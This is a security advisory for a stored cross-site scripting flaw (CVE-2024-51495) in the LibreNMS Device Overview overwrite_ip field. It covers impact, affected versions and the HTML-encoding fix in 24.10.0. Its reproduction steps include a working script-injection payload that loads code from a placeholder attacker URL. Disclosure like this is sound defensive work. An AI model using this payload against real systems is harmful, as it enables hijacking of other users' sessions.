Disclosed vulnerabilities
Fixed: Nov 5, 2024
CVE-2024-51495 Published: Nov 14, 2024

Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite_ip` Field

7.5 High Severity librenms Stored-XSS XSS
Raphael Silva Reported by Checkmarx Zero

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the overwrite_ip parameter when editing a device. The injected script executes in the “Assigned IP” field when the page is loaded, potentially compromising other users’ sessions.

Product

This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/includes/html/dev-overview-data.inc.php.

Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

Steps to reproduce

  1. Log into the LibreNMS web interface.

  2. Edit any device and set the Assigned IP (“overwrite_ip”) to the following payload:

    test'"><script src=//<attacker-url>></script>

  3. Save the changes.

  4. Navigate to the Device Overview page for that device.

  5. Observe that the external script at //<attacker-url> is loaded and executed in the “Assigned IP” field.

Expected result:

The external script from //<attacker-url> executes in the “Assigned IP” field, demonstrating arbitrary JavaScript execution in the victim’s session.

Remediation

Patched in LibreNMS 24.10.0 by adding proper HTML-encoding of the overwrite_ip value in dev-overview-data.inc.php, ensuring untrusted input is escaped before rendering.

Credit

This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.

Resources

  1. GHSA-p66q-ppwr-q5j8
  2. Fix commit
  3. NVD entry for CVE-2024-51495

Stay connected and never miss a research update!